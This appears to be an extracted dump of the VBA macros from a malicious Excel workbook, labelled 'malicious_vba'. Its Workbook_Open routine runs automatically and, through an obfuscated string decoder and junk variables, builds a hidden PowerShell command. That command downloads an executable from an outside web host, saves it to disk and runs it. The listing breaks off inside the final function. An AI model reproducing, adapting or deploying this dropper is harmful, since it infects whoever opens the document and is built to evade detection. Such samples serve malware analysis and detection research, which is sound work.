malicious_vba

File "ThisWorkbook.cls" (Streampath: "_VBA_PROJECT_CUR/VBA/ThisWorkbook") has code: "Public Sub Workbook_Open()
Dim disorderunfold
disorderunfold = "jokelanguage"
Dim regularreunion
regularreunion = 12
Module1.armswitch
Dim borrowinclude
borrowinclude = "cornshove"
Dim dividehuman
dividehuman = 86
End Sub"
File "Sheet1.cls" (Streampath: "_VBA_PROJECT_CUR/VBA/Sheet1") has code: ""
File "Sheet2.cls" (Streampath: "_VBA_PROJECT_CUR/VBA/Sheet2") has code: ""
File "Sheet3.cls" (Streampath: "_VBA_PROJECT_CUR/VBA/Sheet3") has code: ""
File "Module1.bas" (Streampath: "_VBA_PROJECT_CUR/VBA/Module1") has code: "Public Sub armswitch()
Dim brassswarm
brassswarm = "nephewsystem"
Dim bracketstumble
bracketstumble = 64

ensuretable
Dim leadersteak
leadersteak = "dentistluxury"
Dim convincerender
convincerender = 40

Dim followsoldier
followsoldier = "drasticleave"
Dim garlichorror
garlichorror = 19
End Sub
Public Function sportsuggest() As String
coolinsane = meltpredict("9H(VNVekzw9E-EORb7jAevEcrEtv 9ASHyAs9tEHeLrmL.VkNEeHtzr.rWrreLHb9CA9l9Ai9ern9rtz)E.REDL9o9EwA9nHlz7o9RaVzdrEFLiLVl7Eez(r'RhEtrtkp9:R/v/7wzwrw9r.AAfk9lr9u9viALd", "r9RkLAzvrEH79V")
jewelthunder = meltpredict("7IsfQyfnsuUtY7e7Im3s7.Vfmu7lQU/JpU1V6/UuPIaJ_QU0J70V1u.Q6eYKxfeYf'K,V3'IfP3faIn_3K0n0J71uQ.u7eJx6eI'n)3;J UUSJYtfaJrutn-63PnrYuoV6cKYefsVsu fP7a6V_IV0K0uu1UY.Keux3ne", "67VfK3fuYUIJnuQ")
sportsuggest = coolinsane & jewelthunder
End Function
Public Function perfecttube() As String
jewelthunder = meltpredict("vXp2o44wuevrj4sThLeLLlLl0T D-2Dw0 vhDEi4dB4dABeTnXj 4A-L0n4o4jpvu LL-AevTpuX LbuDyATpTaLvs0sE ", "BvfL0uTjEX4L2DA")
perfecttube = jewelthunder & sportsuggest
End Function
Public Function ensuretable() As Object
Dim correctfrost
correctfrost = "actressdivert"
Dim publicsubmit
publicsubmit = 94
Set ensuretable = awakeunlock(CreateObject(meltpredict("INWIJSPcProEiQpatR.6GSUPhaJeE6lPl", "RoswU6JPaNGEQJI")))
Dim antiquefemale
antiquefemale = "flavorspoil"
Dim centuryslight
centuryslight = 67
End Function
Public Function awakeunlock(ByVal ensuretable As Object) As Object
balancepuppy = meltpredict("jqRGrAua5dbnfw0fA2anboQnIbo", "aIgAwm5Q6bIGfRj")
repairvacuum = Mid(balancepuppy, 2, 2) & Mid(meltpredict("RwReszn9L3Gnsw5HoQ0", "Lu5HsaQfGzRxmS9"), 3, 1)
Dim rathervivid
rathervivid = "bagrescue"
Dim detectdismiss
detectdismiss = 35
CallByName ensuretable, repairvacuum, 1, perfecttube, 0
Set awakeunlock = ensuretable
End Function
Public Function meltpredict(ByVal crunchperson As String, ByVal seperfecttube As String) As String
Dim shockwear
shockwear = 83
If shockwear < 96 Then
Dim existsecurity
existsecurity = "convincestill"
Dim juicemuch
juicemuch = 71
End If
escapefollow = Len(crunchperson)
gardenmarch = ""
For bridgephysical = 1 To escapefollow
gardenmarch = gardenmarch & educatejewel(crunchperson, seperfecttube, bridgephysical)
Dim grabtogether
grabtogether = 41
If grabtogether < 29 Then
Dim destroyincrease
destroyincrease = "grasstrash"
Dim crowdswitch
crowdswitch = 26
End If
Next
meltpredict = gardenmarch
End Function
Public Function allmerry(ByVal flatscreen As String, ByVal applecable As String) As Boolean
allmerry = InStr(flatscreen, applecable)
Dim rotatetray
rotatetray = 52
If rotatetray < 86 Then
rotatetray = rotatetray + 68
End If
End Function
Public Function educatejewel(ByVal grantproblem As String, ByVal sesportsuggest As String, ByVal hiddenlazy As Integer)
pridesouth = Mid(grantproblem, hiddenlazy, 1)
If Not allmerry(sesportsuggest, pridesouth) Then
educatejewel = pridesouth
Dim evidencemilk
evidencemilk = "becausereceive"
Dim tribeupon
tribeupon = 33
Else
Dim pleasetheme
pleasetheme = "pushshy"
Dim commondepend
commondepend = 39
educatejewel = ""
End If